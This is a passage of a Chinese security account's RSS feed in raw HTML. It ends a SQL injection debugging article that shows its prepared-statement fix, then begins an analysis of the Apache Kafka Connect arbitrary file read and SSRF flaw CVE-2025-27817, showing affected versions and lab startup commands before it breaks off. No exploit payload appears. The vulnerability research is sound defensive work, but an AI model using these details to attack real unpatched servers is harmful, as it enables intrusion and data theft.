leaf=""><br/></span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008575" class="rich_pages wxw-img" data-ratio="0.14471968709256844" data-type="png" data-w="767" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=477137a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfdHOpHtzrqc5DmzvwYiaeic9gVc98mzhLVrd0y2ibTzL95joMpvwO1icQoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p><span leaf="">调试确定字符串直接拼接到了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SQL</span></code><span leaf="">语句，导致出现注入漏洞：</span><span leaf=""><br/></span></p></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100008584" class="rich_pages wxw-img" data-ratio="0.5601750547045952" data-s="300,640" data-type="png" data-w="914" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=751391d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfSLDNVES4lwW1Dic3NXTShtl0Sa0OmPohxywaA1ATRBWtLRRUHyhMx6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">完整调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008579" class="rich_pages wxw-img" data-ratio="0.421259842519685" data-type="png" data-w="762" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c5459509&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfE2L52Hmfy4NbuDaicfxwRlxWfWWf6wZiaqFjiaxna8icPiaAux5rPLhjiaVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">至于漏洞利用过程这里就不讲了，主要教大家如何发现和分析调试漏洞。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">修复方式</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">新版本的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sql</span></code><span leaf=""> 语句采用了预编译模式：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008578" class="rich_pages wxw-img" data-ratio="0.11481481481481481" data-type="png" data-w="810" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=766402bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKffd6BHkFztwd8eA4oNsWLdmSvrWILgW4kenPmWxG3hWtCotXvq7emCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p><span leaf=""><br/></span></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247492236">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=31256168&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492236%26idx%3D1%26sn%3D8d8564b4b92621d0ce1783198a801077">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 13 Jul 2025 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2025-27817 Apache Kafka Connect 任意文件读取漏洞分析与复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492201&amp;idx=1&amp;sn=3a6c575e0bba0f8d05cc8af88125a412</link>
      <description>深入解析 Kafka Connect 任意文件读取漏洞（CVE-2025-27817）。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-06-22 07:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>深入解析 Kafka Connect 任意文件读取漏洞（CVE-2025-27817）。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8391375d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJawDVqE7mWp6w1T8B7lJzHx9qOBvBJK8QqGTG8G6FBh0uAU1Hep9FAg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞描述</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近期 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache</span></p><span leaf="">修复了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache Kafka Connect</span></p><span leaf="">组件中的一个任意文件读取漏洞</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-27817</span></p><span leaf="">。该漏洞源于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Kafka</span></p><span leaf="">对配置参数缺少检查，导致恶意攻击者可构造特殊</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></p><span leaf="">读取服务器上的任意文件或者实现</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SSRF</span></p><span leaf="">攻击，影响版本为：</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">3.1.0~3.9.0</span></p><span leaf="">。此外，该漏洞还影响</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache Druid</span></p><span leaf="">等集成了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Connect</span></p><span leaf=""> 组件的应用系统。</span></div><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">研究环境</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为了快速分析，可以选择下载编译好的程序：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">./zookeeper-server-start.sh ../config/zookeeper.properties</span><span leaf=""><br/></span><span leaf="">./kafka-server-start.sh ../config/server.properties</span><span leaf=""><br/></span><span leaf="">./connect-distributed.sh ../config/connect-distributed.properties</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">connect-distributed.sh</span></p><span leaf=""> 调用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">kafka-run-class.sh</span></p><span leaf=""> 来启动进程，查看 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">kafka-run-class.sh</span></p><span leaf=""> 发现当环境变量 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 